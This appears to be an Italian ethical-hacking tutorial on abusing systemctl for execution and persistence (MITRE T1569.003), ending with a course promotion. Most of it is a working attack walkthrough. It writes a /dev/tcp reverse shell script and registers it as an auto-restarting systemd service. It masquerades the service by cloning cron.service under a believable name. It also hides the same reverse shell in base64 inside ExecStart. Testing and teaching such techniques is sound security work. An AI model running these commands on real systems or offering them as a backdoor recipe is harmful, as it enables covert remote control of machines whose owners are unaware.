Controllo dei Servizi Linux: System Services - Systemctl (T1569.003)

L'abuso di systemctl rappresenta una tecnica sofisticata per ottenere l'esecuzione di codice malevolo sui sistemi Linux attraverso la manipolazione del sistema di gestione dei servizi. Questo strumento, interfaccia primaria per systemd, controlla l'avvio e l'arresto dei servizi di sistema e può essere sfruttato per garantire persistenza ed esecuzione privilegiata.

La tecnica si colloca nella tattica TA0002 (Execution), dove l'obiettivo è eseguire codice controllato dall'attaccante sul sistema target. Spesso viene combinata con altre tecniche per esplorare la rete o esfiltrare dati sensibili.

TeamTNT, gruppo specializzato in cryptojacking, ha dimostrato l'efficacia di questo approccio creando servizi di sistema dedicati al mining di criptovalute. L'impatto è significativo: con 1 gruppo APT documentato e 1 strategia di mitigazione specifica, questa tecnica richiede attenzione particolare nella difesa delle infrastrutture Linux.

Il test di questa tecnica richiede la creazione di un servizio systemd malevolo. Iniziamo creando un file di servizio in una posizione non standard per evitare detection immediate.

Creiamo prima il nostro payload. Un approccio comune è utilizzare uno script bash che stabilisce una reverse shell:

echo '#!/bin/bash' > /tmp/backdoor.sh echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /tmp/backdoor.sh chmod +x /tmp/backdoor.sh

Ora costruiamo il file di servizio systemd. La scelta della directory è cruciale - /tmp è spesso utilizzata dagli attaccanti ma facilmente monitorata:

cat > /tmp/backdoor.service << EOF
[Unit]
Description=System Maintenance Service
After=network.target

[Service]
Type=simple
ExecStart=/tmp/backdoor.sh
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF

Per caricare il servizio dobbiamo copiarlo nella directory systemd e attivarlo:

sudo cp /tmp/backdoor.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable backdoor.service sudo systemctl start backdoor.service

Un approccio più sofisticato prevede il mascheramento del servizio. Possiamo clonare un servizio legittimo e modificarlo:

sudo cp /lib/systemd/system/cron.service /etc/systemd/system/system-update.service

Modifichiamo poi ExecStart per puntare al nostro payload. La chiave è mantenere nomi e descrizioni credibili per evitare sospetti durante audit superficiali.

Per testare la persistenza, verifichiamo che il servizio si riavvii automaticamente: sudo systemctl status system-update.service

Gli attaccanti spesso utilizzano tecniche di offuscazione aggiuntive. Un metodo efficace è incorporare il payload direttamente nel file di servizio usando base64:

ExecStart=/bin/bash -c "echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDQ0IDA+JjE=' | base64 -d | bash"

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.